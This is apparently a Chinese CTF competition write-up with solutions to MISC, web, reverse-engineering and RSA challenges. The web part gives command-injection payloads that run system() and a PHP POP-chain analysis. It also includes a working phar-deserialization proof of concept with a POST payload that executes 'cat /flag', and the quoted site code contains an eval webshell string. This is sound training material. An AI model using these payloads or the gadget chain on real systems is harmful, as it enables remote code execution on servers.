MISC

GIF

简单的二维码,可以使用WPS把每帧分离保存,按顺序拼接,最后扫码获取flag

重生之我在嘉庚当黑客

flag格式改成xujc即可

洋葱二维码

code128、QR code、Maxicode、Aztec code、PDF417、汉信码之类的交替着试,二维码套娃。总之,用中国编码和https://demo.dynamsoft.com/barcode-reader/轮着试就行

SSL

HTTPS流量,给了sslkey.log

首先使用sslkey解密包内容,编辑>首选项>Protocols>TLS

过滤出GET请求的包

http.request.method==GET

这些包的URL中有个参数名是:kcahsni

取出这些包的kcahsni的值,数量不多,可以手工取出来,也可使用Tshark取出来

tshark -r capture.pcap -o 'ssl.keylog_file:sslkey.log' -Y 'http contains "GET /searchbyimage"' -T fields -e http.request.uri.query.parameter > outdata.txt
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D82290383-7480-487c-b78b-77ac769c56cd%26kcahsni%3D9ef773fe97f56554a3b4,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D8bd542b5-2056-489e-bc1c-4f028ef27894%26kcahsni%3D26cd07e1f71df3dcee9f,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3De76528cd-17d3-490a-be20-2d817ccee04e%26kcahsni%3D1eaf89725ab93968fc52,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D491c01dd-f1a3-43c3-b3c8-30c4ab73ff4b%26kcahsni%3Df03c0a7d653539616433,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3Deeed4c5d-8a5f-4b8c-a12d-a2ef007e09e2%26kcahsni%3D66333861303164636130,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3Db69d43cd-ac86-4b20-acc6-6a441d94ae3e%26kcahsni%3D30663937353965366432,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3De56bc952-42c2-4631-96ee-e2e7cac51406%26kcahsni%3D30353331373634326335,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3Dece42ab1-a9d1-44df-a0b5-6b7e83aa9cd0%26kcahsni%3D34323166636461643033,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D71ad1cf6-a31a-4694-812b-9ea5db6e3cad%26kcahsni%3D34656265373037376332,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D1b3c7025-b1a8-477f-9d16-89c254af258a%26kcahsni%3D62646464343732627b41,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D64ac599c-e5ac-43bc-a2e0-0447257cd5bc%26kcahsni%3D534e490b3295c3d06c24,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3Dd8af7f01-5b92-4ad3-8c80-c6af467eac30%26kcahsni%3Df2a8c7e8936667dbf7fe,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D01b77323-6be9-4abd-b427-9f09d992a4df%26kcahsni%3Dce28456a0fd24ac21ec6,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D3f3e4f2f-5d92-4d3a-8ce8-f11943b42df3%26kcahsni%3Da12e3efe4b,encoded_image=,image_content=,filename=,hl=fr

使用Python处理一下,最后结果需要逆序一下

#Written by: mochu7
import binascii
from urllib.parse import unquote

flag=b''
with open('./outdata.txt') as f:
    for line in f.readlines():
        line = unquote(line)
        hexdata = line[line.find('kcahsni=')+8:line.find(',')]
        hexstring = binascii.unhexlify(hexdata)
        flag += hexstring
    print(flag[::-1])

WEB

RCE

GET:?lpr=dir /; POST: wzg=system 得到名为flag的文件

GET:?lpr=more /[e-h][k-m][0-b][e-h]; POST: wzg=system 得到flag

文件管理器

因为题目提示文件查看器的默认目录在/var/www/html,所以猜测index.php也在这个目录下,可能存在任意文件读取漏洞,尝试查看

成功,并且发现在相同路径下还有两个php文件分别是upload.php和read.php

read.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>卫继龚的文件查看器</title>
    <style>
        .search_form{
            width:602px;
            height:42px;
        }

        /*左边输入框设置样式*/
        .input_text{
            width:400px;
            height: 40px;
            border:1px solid green;
            /*清除掉默认的padding*/
            padding:0px;
            /*提示字首行缩进*/
            text-indent: 10px;

            /*去掉蓝色高亮框*/
            outline: none;

            /*用浮动解决内联元素错位及小间距的问题*/
            float:left;
        }

        .input_sub{
            width:100px;
            height: 42px;
            background: green;
            text-align:center;
            /*去掉submit按钮默认边框*/
            border:0px;
            /*改成右浮动也是可以的*/
            float:left;
            color:white;/*搜索的字体颜色为白色*/
            cursor:pointer;/*鼠标变为小手*/
        }

        .file_content{
            width:500px;
            height: 242px;
        }
    </style>
</head>
<?php
include('class.php');
$a=new aa();
?>
<body>
<h1>卫继龚的文件查看器</h1>
<form class="search_form" action="" method="post">
    <input type="text" class="input_text" placeholder="请输入搜索内容" name="file">
    <input type="submit" value="查看" class="input_sub">
</form>
</body>
</html>
<?php
error_reporting(0);
$filename=$_POST['file'];
if(!isset($filename)){
    die();
}
$file=new zz($filename);
$contents=$file->getFile();
?>
<br>
<textarea class="file_content" type="text" value=<?php echo "<br>".$contents;?>

upload.php

<html>
<title>卫继龚的文件上传器</title>
<body>
    <form action="" enctype="multipart/form-data" method="post">
        <p>请选择要上传的文件:<p>
            <input class="input_file" type="file" name="upload_file"/>
            <input class="button" type="submit" name="submit" value="上传"/>
    </form>
</body>
</html>

<?php
    if(isset($_POST['submit'])){
        $upload_path="upload/".md5(time()).".txt";
        $temp_file = $_FILES['upload_file']['tmp_name'];
        if (move_uploaded_file($temp_file, $upload_path)) {
            echo "文件路径:".$upload_path;
        } else {
            $msg = '上传失败';
        }
    }

分析read.php发现还有一份叫class.php的代码被引用

同样读取出来

<?php
class aa{
    public $name;

    public function __construct(){
        $this->name='aa';
    }

    public function __destruct(){
        $this->name=strtolower($this->name);
    }
}

class ff{
    private $content;
    public $func;

    public function __construct(){
        $this->content="\<?php @eval(\$_POST[1]);?>";
    }

    public function __get($key){
        $this->$key->{$this->func}($_POST['cmd']);
    }
}

class zz{
    public $filename;
    public $content='surprise';

    public function __construct($filename){
        $this->filename=$filename;
    }

    public function filter(){
        if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
            die('这不合理');
        }
    }

    public function write($var){
        $filename=$this->filename;
        $lt=$this->filename->$var;
        //此功能废弃,不想写了
    }

    public function getFile(){
        $this->filter();
        $contents=file_get_contents($this->filename);
        if(!empty($contents)){
            return $contents;
        }else{
            die("404 not found");
        }
    }

    public function __toString(){
        $this->{$_POST['method']}($_POST['var']);
        return $this->content;
    }
}

class xx{
    public $name;
    public $arg;

    public function __construct(){
        $this->name='eval';
        $this->arg='phpinfo();';
    }

    public function __call($name,$arg){
        $name($arg[0]);
    }
}

至此整份网站php代码应该都被读出来了,开始代码审计

起点是read.php中的aa类

$a=new aa() #new一个aa类的对象

aa类的__destruct方法中用了strtolower函数且参数是属性name,此函数用于将字符串转换成小写字母形式,因此我们可以将其参数设置成zz类的对象,此时zz类的对象会被当成字符串从而触发zz类的__toString方法

$a->name=new zz() #将aa类的对象的name属性赋值为zz类的对象

在zz类的__toString方法中

this->{_POST[‘method’]}($_POST[‘var’]);

这行代码调用了zz类中的一个函数,但是函数名和参数都需要我们自己POST来传
我们可以让它调用zz类的write函数,将参数设置为content (为什么是content原因往下看)
因此需要post传参 method=write&var=content
此时上面代码就变成了

	        $this->write('content')

此时就来到zz类的write函数
我们可以很清楚的看到

$lt=$this->filename->$var

当前类的filename的$var属性赋值给了变量$lt,而这个变量$var就是上面我们传入的参数content
于是,上面的代码就相当于

$lt=$this->filename->content

因此我们可以将当前类的filename属性赋值为ff类的对象,这样就相当于将ff类中的content属性赋值给变量$lt,但是在ff类中,content是私有属性,是不可通过外部访问的。这样,因为我们在外部访问了ff类中不可访问的私有属性content从而触发了ff类中的__get方法。

$a->name->filename=new ff(); #将filename属性赋值为ff类的对象

而此时的变量$var,也就是content,将作为__get方法的参数传入进去,也就是变量$key
所以最终触发的是

__get('content')

而在__get函数内部又有这么一行代码

$this->$key->{$this->func}($_POST[‘cmd’]);

我们知道此时的变量$key是触发__get方法时传入的content
所以上面的代码就相当于

$this->content->{$this->func}($_POST['cmd']);

可以看到我们调用了一个函数,这个函数是当前类的属性content中的函数,函数名为当前类的func属性的值(即$this->func),函数变量为POST传入的参数cmd的值(即$_POST[‘cmd’])

如果此时直接将func赋值为system,cmd赋值为cat /flag
最终得到的是

$this->content->system('cat /flag');

很显然这样的代码并不能执行,因为当前类的content还没有赋值,并且也content中也没有system方法,而且它和 system(‘cat /flag’) 也不一样

所以ff类的__get方法并不是链子的终点

我们需要将ff类的content属性赋值为xx类的对象,此时就相当于调用了xx类中的system方法

xx类中有system方法吗?很显然没有!

但是,由于我们调用了xx类中不存在的方法,因此触发了xx类中的__call方法
__call方法接收两个参数,一个是$name,一个是$arg
这两个参数分别对应我们调用的不存在的方法的方法名和参数
也就是我们最终触发的是

__call('system','cat /flag')

而在__call函数中对此函数又进行了构造,也就是这行代码

$name($arg[0]);

变量$name是system,$arg[0]是我们传入的第一个参数’cat /flag’
因此构造成了函数

system('cat /flag')

至此,利用链结束!

最终poc

<?php
class aa{
    public $name;
}
class ff{
    private $content;
    public $func="system";
    public function __construct(){
        $this->content=new xx();
    }
}
class zz{
    public $filename;
    public $content;
}
class xx{
    public $name;
    public $arg;
}
$a=new aa();
$a->name=new zz();
$a->name->filename=new ff();

$phar = new phar('exp.phar');
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER();?>");
$phar -> setMetadata($a); 
$phar -> addFromString("test.txt","test");
$phar -> stopBuffering();
?>

这里需要使用phar反序化,因为代码中并没有存在反序化函数,而phar包在执行时正好有反序列化的操作

将生成出来的phar包上传后,下面是最终post包中的payload

file=phar://upload/你的文件.txt&method=write&var=content&cmd=cat /flag

REVERSE

Re高手

IDA打开

点开ff1看看

这里有个flag::set

后面还有个ssss
静态分析好像看不出一些变量的值
直接IDA动调 在flag::set下断点
步过发现没什么实质变化
继续进入ssss
查看其中v2的值

发现flag出来了
然后跑完26次循环后shift+E导出内存数据得到flag

CRYPTO

RSA没有难题

先用Adleman-Manders-Miller rth Root Extraction MethodGF(p)GF(q)上对ce次方根,分别得到一个解。大概不到10秒。
然后去找到所有的0x1336primitive nth root of 1,乘以上面那个解,得到所有的0x1337个解。大概1分钟。
再用CRTGF(p)GF(q)上的两组0x1337个解组合成 mod n下的解,可以得到0x1337**2=24196561个 modn 的解。最后能通过check()的即为flag。大概十几分钟。

# -*- coding:utf8 -*-
from gmpy2 import *
from Crypto.Util.number import *
import random
import math

def onemod(e, q):
    p = random.randint(1, q-1)
    while(powmod(p, (q-1)//e, q) == 1):  # (r,s)=1
        p = random.randint(1, q)
    return p

def AMM_rth(o, r, q):  # r|(q-1
    assert((q-1) % r == 0)
    p = onemod(r, q)

    t = 0
    s = q-1
    while(s % r == 0):
        s = s//r
        t += 1
    k = 1
    while((s*k+1) % r != 0):
        k += 1
    alp = (s*k+1)//r

    a = powmod(p, r**(t-1)*s, q)
    b = powmod(o, r*a-1, q)
    c = powmod(p, s, q)
    h = 1

    for i in range(1, t-1):
        d = powmod(int(b), r**(t-1-i), q)
        if d == 1:
            j = 0
        else:
            j = (-math.log(d, a)) % r
        b = (b*(c**(r*j))) % q
        h = (h*c**j) % q
        c = (c*r) % q
    result = (powmod(o, alp, q)*h)
    return result

def ALL_Solution(m, q, rt, cq, e):
    mp = []
    for pr in rt:
        r = (pr*m) % q
        # assert(pow(r, e, q) == cq)
        mp.append(r)
    return mp


def calc(mp, mq, e, p, q):
    i = 1
    j = 1
    t1 = invert(q, p)
    t2 = invert(p, q)
    for mp1 in mp:
        for mq1 in mq:
            j += 1
            if j % 1000000 == 0:
                print(j)
            ans = (mp1*t1*q+mq1*t2*p) % (p*q)
            if check(ans):
                return
    return


def check(m):
    try:
        a = long_to_bytes(m).decode('utf-8')
        if 'NCTF' in a:
            print(a)
            return True
        else:
            return False
    except:
        return False


def ALL_ROOT2(r, q):  # use function set() and .add() ensure that the generated elements are not repeated
    li = set()
    while(len(li) < r):
        p = powmod(random.randint(1, q-1), (q-1)//r, q)
        li.add(p)
    return li


if __name__ == '__main__':
    c = 10562302690541901187975815594605242014385201583329309191736952454310803387032252007244962585846519762051885640856082157060593829013572592812958261432327975138581784360302599265408134332094134880789013207382277849503344042487389850373487656200657856862096900860792273206447552132458430989534820256156021128891296387414689693952047302604774923411425863612316726417214819110981605912408620996068520823370069362751149060142640529571400977787330956486849449005402750224992048562898004309319577192693315658275912449198365737965570035264841782399978307388920681068646219895287752359564029778568376881425070363592696751183359
    p = 199138677823743837339927520157607820029746574557746549094921488292877226509198315016018919385259781238148402833316033634968163276198999279327827901879426429664674358844084491830543271625147280950273934405879341438429171453002453838897458102128836690385604150324972907981960626767679153125735677417397078196059
    q = 112213695905472142415221444515326532320352429478341683352811183503269676555434601229013679319423878238944956830244386653674413411658696751173844443394608246716053086226910581400528167848306119179879115809778793093611381764939789057524575349501163689452810148280625226541609383166347879832134495444706697124741
    e = 0x1337
    cp = c % p
    cq = c % q

    mp = AMM_rth(cp, e, p)
    mq = AMM_rth(cq, e, q)

    rt1 = ALL_ROOT2(e, p)
    rt2 = ALL_ROOT2(e, q)

    amp = ALL_Solution(mp, p, rt1, cp, e)
    amq = ALL_Solution(mq, q, rt2, cq, e)

    calc(amp, amq, e, p, q)